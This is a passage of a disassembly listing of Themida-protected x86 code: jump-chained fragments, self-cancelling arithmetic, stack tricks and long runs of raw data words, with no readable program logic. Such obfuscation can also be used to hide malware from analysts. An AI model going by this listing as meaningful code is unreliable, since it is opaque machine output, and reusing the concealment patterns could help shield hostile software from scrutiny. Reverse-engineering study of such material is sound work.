edi, esi pop esi push edi jmp loc_5169A1 ; --------------------------------------------------------------------------- dd 18E9DFF7h, 100004Ah, 52505AD7h, 210DE9h db 0 ; --------------------------------------------------------------------------- loc_51F5E9: ; CODE XREF: Themida_:00519855j pop edi xor [esp+4], edi mov edi, [esp] jmp loc_516B91 ; --------------------------------------------------------------------------- loc_51F5F6: ; CODE XREF: Themida_:0051B856j push esp pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_521FB6 ; --------------------------------------------------------------------------- loc_51F606: ; CODE XREF: Themida_:0051789Cj mov ebp, [esp] jmp loc_51DFD0 ; --------------------------------------------------------------------------- dw 0EC80h dd 0E9E50059h, 326Dh, 59BBEB80h, 34FFD800h, 7CDBE924h dd 0CD87FFFFh, 0FFA8BFE9h, 243489FFh, 0FB0213BEh, 0C2CE814Fh dd 81258B50h, 175496EEh, 0B8E9552Ch, 51FFFFA3h, 9D07EFB9h dd 81D9F70Ch, 0A3354E1h, 0BCE94102h db 0A9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51F65B: ; CODE XREF: Themida_:00524FBAj sub esp, 4 jmp loc_517120 ; --------------------------------------------------------------------------- loc_51F666: ; CODE XREF: Themida_:00523E54j mov edx, 20h add edx, edi push ebx push ebp mov ebp, 618A6823h shl ebp, 2 jmp loc_515071 ; --------------------------------------------------------------------------- dd 6ACA68h, 243C8900h, 4BFh, 473FE900h, 2CB80000h, 294A0D11h dd 0EC8358C3h, 240C8904h, 0FF89D0E9h, 68E8D0FFh, 4AC8h dd 0E9241C89h, 563Ch, 0FF0057E9h, 81C581FFh, 121934Ch dd 9BE6E9EBh, 0C481FFFFh, 4, 2C8B5455h, 4C48124h, 57000000h dd 0FF6953E9h, 4ED83FFh, 270FE9h, 58C28900h, 3F61EA81h dd 0D1017966h, 91B9E95Ah, 0CA89FFFFh, 68D2F759h, 1A7Bh dd 52240C89h, 50826BAh, 0C848E913h, 0C581FFFFh, 4, 4C581h dd 2C870000h, 24248B24h, 2A4CEB81h, 0EB814082h, 78770CFCh dd 0C381C301h, 78770CFCh, 2A4CC381h, 34FF4082h, 56BFE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51F73E: ; CODE XREF: Themida_:005237FEj pop ecx push 3859h mov [esp], edx jmp loc_510A47 ; --------------------------------------------------------------------------- loc_51F74C: ; CODE XREF: Themida_:00522EBFj xor dword ptr [esp], 1210B82h pop esi jmp loc_513A9C ; --------------------------------------------------------------------------- loc_51F759: ; CODE XREF: Themida_:0051B721j add esp, 4 push ecx mov ecx, 561A257Dh shr ecx, 3 sub ecx, 0CCF715A2h xor esi, ecx pop ecx jmp loc_520EBA ; --------------------------------------------------------------------------- loc_51F776: ; CODE XREF: Themida_:00514EBBj pop edx xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] jmp loc_51894E ; --------------------------------------------------------------------------- dd 887D45B9h, 96F18102h, 81043913h, 0C50F1FE9h, 4B1FE973h dd 0EF81FFFFh, 6263760Ch, 0E254F781h, 5E57DFA6h, 56243C8Bh dd 12E9E689h db 97h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51F7B7: ; CODE XREF: Themida_:00512253j push 1694h mov [esp], ebp mov ebp, 4 jmp loc_51EEAA ; --------------------------------------------------------------------------- db 5Ah, 68h, 0B5h dd 89000012h, 6BB62414h, 148BF000h, 0E2895224h, 0FFACF8E9h dd 20F52DFFh, 34FF3A2Ah, 24148B24h, 4C481h, 0F1E90000h dd 31FFFFCCh, 4CE958C5h, 89000043h, 2BB241Ch, 1000000h dd 34335BDEh, 0A05E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51F812: ; CODE XREF: Themida_:00515339j pop ecx loc_51F813: ; CODE XREF: Themida_:005153C6j sub esp, 4 mov [esp], esi jmp loc_512420 ; --------------------------------------------------------------------------- db 0BAh, 0C7h, 6Ch dd 0FEE96AB8h db 0Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_51F82B: ; CODE XREF: Themida_:0050F759j push dword ptr [esp] mov ebx, [esp] jmp loc_5245D8 ; --------------------------------------------------------------------------- dw 6857h dd 3ED17E87h, 0E92434FFh, 1DD2h, 6E4EB81h, 0C2816FC2h dd 4B3A3355h, 331468h, 242C8900h, 4EC81h, 4890000h, 46D56824h dd 0F0E960DAh db 0ACh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51F86B: ; CODE XREF: Themida_:00516A2Ej push esi mov esi, 4 sub eax, esi jmp loc_524B34 ; --------------------------------------------------------------------------- dd 6F36C781h, 0C78170A9h, 383C707Fh, 2DE9D729h, 31000050h dd 0F32959CEh, 61F3815Eh, 0F73F7816h, 0E89E9DBh, 4830000h dd 525E0424h, 0BB5F7BBAh, 89C2816Ch, 19344A0h, 0EE815AD6h dd 4, 8B243487h, 34892424h, 42CABE24h, 77E951E7h, 5EFFFF79h dd 0EB81F301h, 4D8C4C2Eh, 0FFD123E9h, 0E9DFF6FFh, 3ED7h dd 0B65266ACh, 0E9F028D7h, 1F45h, 8159CD21h, 182084F5h dd 49C78120h, 115D82Ah, 685652EFh, 1BCE67B5h, 6B76E95Eh dd 0C781FFFFh, 0E5A3EB7Dh, 5AA0C681h, 0FE01311Fh, 5AA0EE81h dd 16E9311Fh, 2DFFFF0Eh, 70C85F85h, 5E8295Ah, 7F8C7F84h dd 0E92434FFh, 0FFFF0D23h, 0C680DEF6h, 5AF128FBh, 5024148Bh dd 4055854h, 2D000000h, 4, 5C240487h, 89243C89h, 4C781E7h dd 83000000h, 3C3304C7h, 243C3124h, 5E3E9h, 24148700h dd 24048F5Ch, 0CD3665Ch, 8DE99C24h, 0E9FFFEFDh, 0FFFEFD88h ; --------------------------------------------------------------------------- loc_51F984: ; CODE XREF: Themida_:0051C7EBj add edi, ebx add edi, 1981007Eh jmp loc_5207CB ; --------------------------------------------------------------------------- db 81h, 0EDh, 0E0h dd 813E400Bh, 8EBBD0C5h, 5DEA2930h, 8B241487h, 3C682424h dd 54000011h, 0E924048Fh, 0FFFFAB0Eh, 4BA525Eh, 1000000h dd 0C6835AD6h, 24348704h, 24048F5Ch, 0FF7DD6E9h, 0E28952FFh dd 4C281h, 0C2810000h, 4, 0E9241487h, 0FFFFA839h, 0E95A5452h dd 0FFFFBF4Bh, 0FCEEE981h, 0CB21BCF8h, 8C54E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51F9FA: ; CODE XREF: Themida_:0051AB39j jmp loc_50F70C ; --------------------------------------------------------------------------- loc_51F9FF: ; CODE XREF: Themida_:00521421j add ebx, 4 jmp loc_516113 ; --------------------------------------------------------------------------- dw 2C80h dd 480B924h, 2C28B624h, 242C8024h, 8FDDE9B6h, 0EB00FFFFh dd 0E9240C8Bh, 13A7h, 0CA2FD3BFh, 0C9C7E927h, 6855FFFFh dd 20FD1E18h, 0FF7D7BE9h db 0FFh ; --------------------------------------------------------------------------- loc_51FA3D: ; CODE XREF: Themida_:00512FF4j push dword ptr [esp] pop ebp add esp, 4 shl ecx, 2 shl ecx, 5 push 67F1h mov [esp], edx mov edx, 1130CF80h xor ecx, edx pop edx and eax, ecx push dword ptr [esp] pop ecx push ebp jmp loc_515A32 ; --------------------------------------------------------------------------- loc_51FA69: ; CODE XREF: Themida_:00520C61j mov ecx, 5A483AF7h sub ecx, 77FBA84h jmp loc_5228BF ; --------------------------------------------------------------------------- db 0C1h, 0E5h, 6 dd 0D5F7D5F7h, 2414F755h, 38FEE9h, 4BD00h, 0EA810000h dd 63253A46h, 0BF57EA01h, 63253A46h, 5D5FFA01h, 8B241487h dd 0EC812424h, 4, 0FF911FE9h, 0E7E953FFh, 5E00002Fh, 0FF791BE9h db 0FFh ; --------------------------------------------------------------------------- loc_51FABD: ; CODE XREF: Themida_:00521207j mov eax, 4 sub ebx, 6D856D65h add ebx, eax push esi jmp loc_5195C0 ; --------------------------------------------------------------------------- dd 42474FFh, 0E92434FFh, 1AA0h, 4C18159h, 83000000h, 0BBE904E9h dd 66FFFFDAh, 79E9D6F7h, 40FFFF86h, 0F7DAF792h, 0EEF281DAh dd 89EFB7C2h, 0C7815AD3h, 52890F21h, 65C0EF81h, 0DF296BE9h dd 65C0C781h, 0EF816BE9h, 52890F21h, 37BB535Bh, 294B9218h dd 0EA815BDAh, 20623798h, 0FF6DE6E9h, 240C89FFh, 0FF4A0CE9h dd 240C8BFFh, 6804C483h, 69E5h, 0BA241489h, 59346FAEh dd 8245429h, 0FF53FBE9h db 0FFh ; --------------------------------------------------------------------------- loc_51FB55: ; CODE XREF: Themida_:005201A2j mov eax, ebp pop ebp jmp loc_51B6C2 ; --------------------------------------------------------------------------- loc_51FB5D: ; CODE XREF: Themida_:00512579j and edx, edi pop edi add edx, 2D2DCFB8h or edi, edx pop edx xor edi, 515E5F19h jmp loc_519F80 ; --------------------------------------------------------------------------- loc_51FB74: ; CODE XREF: Themida_:0052301Dj pop edx push edi jmp loc_513DF8 ; --------------------------------------------------------------------------- loc_51FB7B: ; CODE XREF: Themida_:00524C9Fj sub esp, 4 mov [esp], esi jmp loc_520C3A ; --------------------------------------------------------------------------- dw 0C481h dd 4, 1788E181h, 0E9C12238h, 9221E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51FB9A: ; CODE XREF: Themida_:00510907j mov ebx, [esp] jmp loc_51D959 ; --------------------------------------------------------------------------- dw 8B66h dd 0EC812404h, 4, 89243489h, 4EC81E6h, 89000000h, 0FEE9242Ch dd 81FFFFBCh, 4C4h, 8BF02800h, 0A9E92414h, 66FFFFCCh, 0B6241489h dd 5EC380E6h, 0EB80F328h, 148B665Eh, 4EC8124h, 0E9000000h dd 3F7Fh, 0B9E94AB5h, 33FFFF87h, 1C31241Ch, 241C3324h dd 25F0E95Ch, 0FBB2FFFFh, 0FF0616E9h, 4EC81FFh, 0E9000000h dd 0FFFFE310h, 348BF001h, 4C48324h, 545868h, 240C8900h dd 0B34CE168h, 0E1C15941h, 0BD555307h, 66E77E10h, 0F7D5F74Dh dd 0D8F581DDh, 89762022h, 0BCE95DEBh, 83FFFFE2h, 48702C0h dd 24248B24h, 0E9E18951h, 0FFFFF6F4h, 295DEF01h, 27BA52C7h dd 296B6E14h, 2D585AD7h, 4D0B4180h, 8005F801h, 5F4D0B41h dd 4EC81h, 2C890000h, 0D1A5E924h, 0E95CFFFFh, 0FFFFFA51h ; --------------------------------------------------------------------------- loc_51FC88: ; CODE XREF: Themida_:0051369Ej add esi, ebp pop ebp add esi, 7B3337E4h add esi, 0F3DC55FFh add ecx, esi pop esi jmp loc_510D5B ; --------------------------------------------------------------------------- loc_51FC9F: ; CODE XREF: Themida_:00523675j mov [esp], ebx mov ebx, 41660EC5h jmp loc_516E74 ; --------------------------------------------------------------------------- dd 0A04ACh, 4137E9D8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51FCB6: ; CODE XREF: Themida_:0051EB9Aj push edi mov edi, 2EBC0C19h jmp loc_524CDF ; --------------------------------------------------------------------------- db 66h, 0FFh, 4 dd 1EE99C24h db 33h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51FCCB: ; CODE XREF: Themida_:00511B8Fj add edx, 4 sub esp, 4 mov [esp], ebx mov ebx, 5806324Bh jmp loc_521B2D ; --------------------------------------------------------------------------- dd 0C581E589h, 4, 4C581h, 2C870000h, 0A4E95C24h, 52FFFF38h dd 8B52FA89h, 5BE9240Ch, 59FFFFC8h, 0E959CA01h, 0FFFF1CC1h dd 5EF3295Bh, 0FFE9BEE9h, 0E9E189FFh, 0FFFFF825h, 81C3305Ah dd 4ECh, 240C8900h, 28BD5557h, 89000000h, 242C8BEFh, 4C481h dd 0B8E90000h, 83FFFFFFh, 43E904C4h db 90h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51FD4B: ; CODE XREF: Themida_:0051576Aj mov eax, ecx pop ecx xchg eax, edi sub edi, 1 xchg eax, edi jmp loc_5141F2 ; --------------------------------------------------------------------------- loc_51FD5B: ; CODE XREF: Themida_:00523E04j mov edx, 80B5810h jmp loc_51CCAA ; --------------------------------------------------------------------------- loc_51FD65: ; CODE XREF: Themida_:005225E9j xchg edi, [esp] pop esp shr ecx, 0Bh sub esp, 4 mov [esp], ebx mov eax, [esp] jmp loc_51D479 ; --------------------------------------------------------------------------- loc_51FD7D: ; CODE XREF: Themida_:00518233j xchg ecx, [esp] jmp loc_514A9B ; --------------------------------------------------------------------------- db 80h, 0F3h, 0F4h dd 4EC81h, 4890000h, 0FDB25224h, 148BD088h, 4C48124h, 0E9000000h dd 0FFFF9854h ; --------------------------------------------------------------------------- loc_51FDA4: ; CODE XREF: Themida_:0051BBA1j push esp pop ebp push eax push ebp jmp loc_522621 ; --------------------------------------------------------------------------- db 58h, 1, 0F3h dd 1193EB81h, 348B1AF8h, 4C48124h, 0E9000000h, 0FFFF8711h dd 5EF668h, 241C8900h, 6BCDBA52h, 38BB6EC1h, 0E9A209C8h dd 0FFFF74E2h, 0E904EBC1h, 0FFFF080Eh, 5659CF89h, 0AE2F5DBEh dd 24A7E91Eh, 0DC680000h, 8900004Dh, 0A8B22414h, 805AD188h dd 0D100C9C1h, 8904EC83h, 69B62414h, 99B55166h, 0FF9447E9h dd 815B54FFh, 4C3h, 4EB8100h, 0E9000000h, 0FFFF7AEBh, 81E18951h dd 4C1h, 4C18100h, 33000000h, 0C31240Ch, 8AFEE924h, 0EC83FFFFh dd 24148904h, 46695EBAh, 3EE95141h, 5D00002Eh, 83240C8Bh dd 0EB2904C4h, 0EBEB815Dh, 2920741Fh, 0D1E955C3h, 2DFFFFABh dd 4BA4535Dh, 22805A2Dh, 58C729D1h, 0C15FFD89h, 0E58104E5h dd 33CF4A5Ah, 8108E5C1h, 4ECh, 243C8900h, 0FFAD72E9h, 0E95156FFh dd 0FFFF2B2Ch, 4C481h, 0C4810000h, 4, 0E959C829h, 3815h ; --------------------------------------------------------------------------- loc_51FEB0: ; CODE XREF: Themida_:005237B2j xor edi, [esp] jmp loc_5150A7 ; --------------------------------------------------------------------------- dd 6217EF81h, 0FDE97C0Bh db 0C9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51FEC3: ; CODE XREF: Themida_:005219A4j push 37E6112Ch pop edx push eax jmp loc_51D9CC ; --------------------------------------------------------------------------- db 89h dd 4C381E3h, 83000000h, 1C8704EBh, 24248B24h, 89243489h dd 4C681E6h, 0E9000000h, 0FFFF2EA8h, 8B2434FFh, 0C481243Ch dd 4, 52E78957h, 0FFC08BE9h, 58C300FFh, 0FF5D0FE9h, 240C89FFh dd 0C181E189h, 4, 3514B850h, 0E9531462h, 0FFFFCF2Ch, 0E9242C31h dd 0FFFF61C5h, 43A568h, 24048900h, 165368h, 24248900h dd 4240483h, 8324048Bh, 40504C4h, 0E9000000h, 0FFFF7EB8h dd 8B243C33h, 0CB882424h, 8BD83059h, 0A2E9241Ch db 13h, 2 dup(0) ; --------------------------------------------------------------------------- loc_51FF63: ; CODE XREF: Themida_:00510B2Dj push edx jmp loc_510418 ; --------------------------------------------------------------------------- db 0FFh, 77h, 1Ch dd offset dword_504E60+89h dd 1C8B5900h, 4C48324h, 6C9DE781h, 64E91BDFh, 33000027h dd 3C31243Ch, 243C3324h, 2404895Ch, 91BA5251h, 0E945BD70h dd 0FFFF0BEEh ; --------------------------------------------------------------------------- loc_51FF9C: ; CODE XREF: Themida_:00513E7Aj add ebp, 0A4E375Bh sub ebp, 14AB7B44h add ebp, edx add ebp, 14AB7B44h jmp loc_511D7A ; --------------------------------------------------------------------------- loc_51FFB5: ; CODE XREF: Themida_:0051712Ej pop ebx push dword ptr [esp] pop ecx push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push esi add dword ptr [esp], 4B274164h pop ebp jmp loc_523D1B ; --------------------------------------------------------------------------- dd 0EC83F029h, 242C8904h, 72750D68h, 0E8015D1Dh, 2434FF5Dh db 8Bh, 34h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_51D34E ; --------------------------------------------------------------------------- dd 0B03A1EBAh, 7E2C15Eh, 0F251E942h, 0CC28FFFFh, 92F48059h dd 8008F480h, 0C38018EBh, 80E30082h, 6AE982EBh, 0B9FFFF28h dd 1DF2D59h, 12C6E9h, 0FC90B00h, 0FF710284h, 895356FFh dd 4C381E3h, 81000000h db 0EBh byte_520045 db 4, 2 dup(0) ; DATA XREF: ___:0042CC88o ; ___:0042CCA0o dd 241C8700h, 48F545Ch, 38A9E924h, 0E7890000h, 4C781h dd 0C7810000h, 4, 5C243C87h, 0FF1C5F09h, 1C8B2434h, 4C48124h dd 50000000h, 0FF0527E9h, 2C5B66FFh, 4362E91Ch, 0C6290000h dd 2C68158h, 523E1150h, 6C65B668h, 24148B72h, 84E95456h dd 89FFFF49h, 4C281E2h, 0E9000000h, 0FFFF4562h, 4244481h dd 42C96498h, 0FF2D7AE9h, 4F32BBFFh, 0E3D10CF4h, 3932EB81h dd 0F38163B6h, 8485EA5h, 593FC381h, 92E95D4Dh, 53000013h dd 20E9EF88h, 87FFFF75h, 0E95C243Ch, 0FFFF6C27h, 7394C381h dd 0EB816E8Bh, 1AEF57F2h, 7474EB81h, 0C3291B39h, 7474C381h dd 5CE91B39h, 5FFFFD7h, 4, 42Dh, 24048700h, 2434895Ch dd 468h, 0CBCE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_520122: ; CODE XREF: Themida_:00512D15j mov eax, 0F868CCh add eax, 197C442Ah inc eax dec eax sub eax, 1A74ACF2h add ecx, 11FF14C9h add ecx, eax sub ecx, 11FF14C9h mov eax, [esp] jmp loc_520A35 ; --------------------------------------------------------------------------- db 81h, 0E9h, 5 dd 813A9E69h, 3E2DA6F1h, 8313E973h, 505BFFFFh, 0D44E9h dd 4BB00h, 0D8290000h, 2404875Bh, 8924248Bh, 57B9240Ch dd 6810FC36h, 0B51h, 0FF68C9E9h, 0F0BB53FFh, 17F8D25h dd 5B04245Ch, 81240401h, 25F0242Ch, 0E9557F8Dh, 0FFFFDE1Ah ; --------------------------------------------------------------------------- loc_52019C: ; CODE XREF: Themida_:0051D8FEj xor ebp, 15387478h jmp loc_51FB55 ; --------------------------------------------------------------------------- loc_5201A7: ; CODE XREF: Themida_:005150B0j pop eax jmp loc_51195F ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 0FFB6C6E9h, 53E789FFh, 4BBh, 5BDF0100h, 8704C783h, 8F5C243Ch dd 248B2404h, 4896624h, 0F4DAE924h, 2C87FFFFh, 24248B24h dd 0E9241489h, 0FFFF9EB7h, 5E2C166h, 85C28166h, 0C2816638h dd 4266FFFFh, 30C28166h, 2D10E977h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5201FE: ; CODE XREF: Themida_:00510F58j pop eax push eax mov eax, esp add eax, 4 jmp loc_521A8B ; --------------------------------------------------------------------------- loc_52020C: ; CODE XREF: Themida_:0051A393j add edi, 4FE62F07h jmp loc_523707 ; --------------------------------------------------------------------------- db 31h dd 34332434h, 0D3665C24h, 0E99C243Ch, 0FFFEF4E4h, 0E92434FFh dd 0FFFF34EBh ; --------------------------------------------------------------------------- loc_520230: ; CODE XREF: Themida_:005193E9j mov eax, 24h push ecx sub esp, 4 mov [esp], edx push 1DF0h mov [esp], eax mov eax, 3E006CC0h mov edx, eax mov eax, [esp] jmp loc_51DB6F ; --------------------------------------------------------------------------- loc_520253: ; CODE XREF: Themida_:005191C5j add esi, 0E848C206h sub ebx, esi pop esi shl ebx, 7 add ebx, 44044C05h xor ebp, ebx pop ebx and eax, ebp push dword ptr [esp] pop ebp push ebp jmp loc_51DECE ; --------------------------------------------------------------------------- dd 5C241C87h, 54243489h, 5E2434FFh, 4C481h, 0C6810000h dd 4, 6B4F68h, 242C8900h, 2FF768h, 181EE900h, 0E95CFFFFh dd 0FFFF4793h, 295EF189h, 240C8BCDh, 4C481h, 685E0000h dd 0FA9h, 0B9240C89h, 729E3065h, 0FF4F1DE9h db 0FFh ; --------------------------------------------------------------------------- loc_5202C5: ; CODE XREF: Themida_:005237F7j mov [esp], edi push 135E0B3Bh pop edi push esi mov esi, 46081200h jmp loc_523373 ; --------------------------------------------------------------------------- db 5Bh, 81h, 0EBh dd 7F1C483Dh, 815BDF89h, 3237CDEFh, 0E9F88969h, 0FFFFACB0h dd 5D530BB9h, 0BB53564Dh, 203602AAh, 0FFB36DE9h, 1ABB53FFh dd 8114B065h, 231DE7F3h, 5ECB815Eh, 8154A50Fh, 0A5738E3h dd 0F7D3871Bh, 68D387D2h, 7078h, 0BF243C89h, 7ABE576Fh dd 815FFB01h, 0B70123C3h, 5BDA89CCh, 7FE951h, 34890000h dd 2404FF24h, 0FF9D04E9h, 0EC8151FFh, 4, 89242C89h, 4C581E5h dd 81000000h, 4EDh, 242C8700h, 243C895Ch, 3C5AE950h, 1580000h dd 0FF505BD8h, 0FF042474h, 34FF2434h, 0C4835824h, 37986804h dd 34890000h, 0E9E68924h, 788h ; --------------------------------------------------------------------------- loc_520390: ; CODE XREF: Themida_:0051E83Dj mov [esp], edi push eax mov eax, 3FBB58ECh mov edi, eax pop eax add ebx, edi mov edi, [esp] sub esp, 4 mov [esp], ebp push esp pop ebp push ecx mov ecx, 1BD57B93h push edx mov edx, 122F6588h jmp loc_522A92 ; --------------------------------------------------------------------------- db 89h, 0E1h, 53h dd 0DD473EBBh, 3AF3811Eh, 11EDD47h, 0E9835BD9h, 74FF5104h dd 8F590424h, 248B2404h, 243C8924h, 0C1001BBFh, 89E7812Ah dd 81274F14h, 34651CCFh, 0F052E963h, 0D6F7FFFFh, 0FF501BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5203FD: ; CODE XREF: Themida_:0051DA2Fj push ebx mov ebx, 0B0C3613h jmp loc_5119AC ; --------------------------------------------------------------------------- dd 1C8BDF31h, 3B16824h, 1C890000h, 6143E924h, 0E951FFFFh dd 168Eh ; --------------------------------------------------------------------------- loc_520420: ; CODE XREF: Themida_:005231BBj mov eax, 4 add esi, eax push dword ptr [esp] pop eax add esp, 4 push ebp mov ebp, esp add ebp, 4 push ecx mov ecx, 4 sub ebp, ecx pop ecx xchg ebp, [esp] pop esp mov [esp], ebx mov ebx, 2 sub esi, ebx jmp loc_517869 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 3E3DE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_52045E: ; CODE XREF: Themida_:00515C4Ej and edx, 487F153Ah shl edx, 2 push 6328h mov [esp], eax mov eax, 71050F7h push edi mov edi, 7171919h xor eax, edi jmp loc_510F44 ; --------------------------------------------------------------------------- db 5Fh, 83h, 0ECh dd 24048904h, 0BA70B0B8h, 0D8F7482Dh, 0FF97CDE9h db 0FFh ; --------------------------------------------------------------------------- loc_520495: ; CODE XREF: Themida_:00522136j add ecx, 4 xchg ecx, [esp] pop esp pop dword ptr [esp] pop esp push edi push esp pop edi push ebp mov ebp, 2F305A5Ah sub ebp, 2F305A56h jmp loc_5225E0 ; --------------------------------------------------------------------------- db 0F6h dd 52C5FED5h, 0FF534DE9h db 0FFh ; --------------------------------------------------------------------------- loc_5204C1: ; CODE XREF: Themida_:0051B7C0j mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ecx mov ecx, 2332CCEh jmp loc_519B8E ; --------------------------------------------------------------------------- dd 35ED815Fh, 0E99B3C36h, 0FFFFCA23h ; --------------------------------------------------------------------------- loc_5204E8: ; CODE XREF: Themida_:00521A9Aj push dword ptr [esp] mov ebp, [esp] add esp, 4 push esi jmp loc_519DF1 ; --------------------------------------------------------------------------- loc_5204FA: ; CODE XREF: Themida_:0051C5A1j add esp, 4 pop edi push ebx push ebp push eax mov eax, 36957508h shl eax, 8 and eax, 721823EAh and eax, 2E3E0AF1h jmp loc_523EB9 ; --------------------------------------------------------------------------- loc_52051B: ; CODE XREF: Themida_:0051C936j pop eax add eax, 6D2447C7h pop edx jmp loc_51D42B ; --------------------------------------------------------------------------- db 89h dd 0DFBE2434h, 0C16C3E5Bh, 8DE905E6h, 0BB000029h, 446B2ADAh dd 0FFB8A4E9h, 240433FFh, 0E9240431h, 0FFFF3A2Bh, 0CEACE952h dd 0D0F7FFFFh, 0FFA9A4E9h, 571968FFh, 0C890000h, 0C4E2E924h dd 0E953FFFFh, 0FFFF91A4h, 27666EBAh, 0BB2EE947h, 5453FFFFh dd 4C3815Bh, 81000000h, 4C3h, 241C8700h, 920BE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_52058E: ; CODE XREF: Themida_:00510734j pop esp jmp loc_50F70C ; --------------------------------------------------------------------------- dd 0B450DCB7h, 0E23E909h, 8B660000h, 89572404h, 4C781E7h dd 81000000h, 4EFh, 243C8700h, 242C895Ch, 0FF14C1E9h db 0FFh ; --------------------------------------------------------------------------- loc_5205BD: ; CODE XREF: Themida_:0051E2F4j push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] jmp loc_521C27 ; --------------------------------------------------------------------------- loc_5205CF: ; CODE XREF: Themida_:0051B295j xchg edi, [esp] pop esp or eax, eax jz loc_5112DB push dword ptr [edi+1Ch] push dword ptr [esp] jmp loc_517779 ; --------------------------------------------------------------------------- dw 45BAh dd 56657A05h, 4E006857h, 66E95B39h, 89FFFF4Ch, 4812424h dd 424h, 24348B00h, 0E904C483h, 687h, 0D2E9C389h db 3Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_520613: ; CODE XREF: Themida_:00518167j mov edx, 4 jmp loc_52120C ; --------------------------------------------------------------------------- loc_52061D: ; CODE XREF: Themida_:005148E4j sub esp, 4 mov [esp], edx push ecx jmp loc_5111B4 ; --------------------------------------------------------------------------- db 51h, 0E9h, 82h db 0Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_52062F: ; CODE XREF: Themida_:0051E782j push edi push eax mov eax, 7DF2657Bh sub eax, 2BC02E6Ch jmp loc_511B44 ; --------------------------------------------------------------------------- dd 6AD268h, 24148900h, 4EC81h, 24890000h, 24048324h, 74E95A04h dd 8000001Fh, 0E95041F6h, 2669h ; --------------------------------------------------------------------------- loc_520664: ; CODE XREF: Themida_:00524F41j mov [esp], ebp mov ebp, 4 jmp loc_521CBA ; --------------------------------------------------------------------------- loc_520671: ; CODE XREF: Themida_:005237E2j add bl, 9 sub bl, al sub bl, 9 jmp loc_5158B3 ; --------------------------------------------------------------------------- dw 1487h dd 34895C24h, 1C3C6824h, 0E9540000h, 0FFFF0FF3h, 0E8287B2Ch dd 1B35E952h, 0FF64FFFFh, 0F06AE932h, 0C781FFFEh, 32CEBFAFh dd 835FFD89h, 0E5D101C5h, 0E581D5F7h, 4A671DEAh, 0F149ED81h dd 0F9E9CE01h, 81FFFF93h, 916024C6h, 8BF53154h, 0C4832434h dd 0BDBE5604h, 0E9C1875Ch, 0FFFF58A1h, 2C04C483h, 4D80000h dd 2C602C00h, 24536810h, 14890000h, 0E9525324h, 0FFFFB106h dd 2E32BB53h, 44810CB5h, 61C70824h, 0AFE94F5Ch, 89000008h dd 0DE2959CBh, 0FFA063E9h db 0FFh ; --------------------------------------------------------------------------- loc_520715: ; CODE XREF: Themida_:005225C2j pop esp sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], ebx jmp loc_511717 ; --------------------------------------------------------------------------- db 81h dd 0B0032BC3h, 5BDA89ABh, 0FFD6E4E9h db 0FFh ; --------------------------------------------------------------------------- loc_520735: ; CODE XREF: Themida_:00522EEBj mov esp, [esp] add ebp, 2 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp movsx cx, al push small 38F5h mov [esp], cx jmp loc_5237AA ; --------------------------------------------------------------------------- dw 0C281h dd 4, 8704C283h, 0E95C2414h, 0FFFFC2EEh, 24048B66h, 52E18951h dd 4F22BE56h, 555137D7h, 605C82BDh, 618B928h, 0E981EF13h dd 78CE0D7Dh, 0C181E901h, 78CE0D7Dh, 75BF575Dh, 967AB3Dh dd 0E9875FF9h, 0E987D5F7h, 0BE56D9F7h, 79DA0597h, 5A7CF681h dd 0E9570E1Dh, 342Ch ; --------------------------------------------------------------------------- loc_5207B4: ; CODE XREF: Themida_:00521A26j shr edi, 8 xor edi, 61E4B7h sub ecx, 1AB8647Ah sub ecx, edi push eax jmp loc_517465 ; --------------------------------------------------------------------------- loc_5207CB: ; CODE XREF: Themida_:0051F98Cj pop ebx push 34F8h mov [esp], ebp mov ebp, 4 add edi, ebp pop ebp xchg edi, [esp] mov esp, [esp] jmp loc_51855A ; --------------------------------------------------------------------------- loc_5207E7: ; CODE XREF: Themida_:0050FDEDj mov esp, [esp] mov [esp], eax xchg ebx, [esp] push 35C8h mov [esp], ebx not dword ptr [esp] pop ebx xor [esp], ebx xor ebx, [esp] xor [esp], ebx push dword ptr [esp] push dword ptr [esp] pop eax push edx push 2807h jmp loc_511B87 ; --------------------------------------------------------------------------- db 81h dd 4C7h, 4C78100h, 0E9000000h, 0FFFF4AA3h ; --------------------------------------------------------------------------- loc_520828: ; CODE XREF: Themida_:00517135j push 6920h mov [esp], edx mov edx, 54E209EEh dec edx sub edx, 0FFFFFFFFh sub edx, 26224421h jmp loc_512105 ; --------------------------------------------------------------------------- db 66h dd 5766C329h, 0B50BF66h, 0E9FB2966h, 0FFFF52E4h, 4BBh dd 5BD90100h, 8B240C87h, 0C7812424h, 4, 4C781h, 0D9E90000h db 2Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_520877: ; CODE XREF: Themida_:0051DEEBj dec esi xchg eax, esi jmp loc_51B945 ; --------------------------------------------------------------------------- dw 0C581h dd 6F79F295h, 15DE929h, 0F91FE9CAh db 2 dup(0FFh) ; 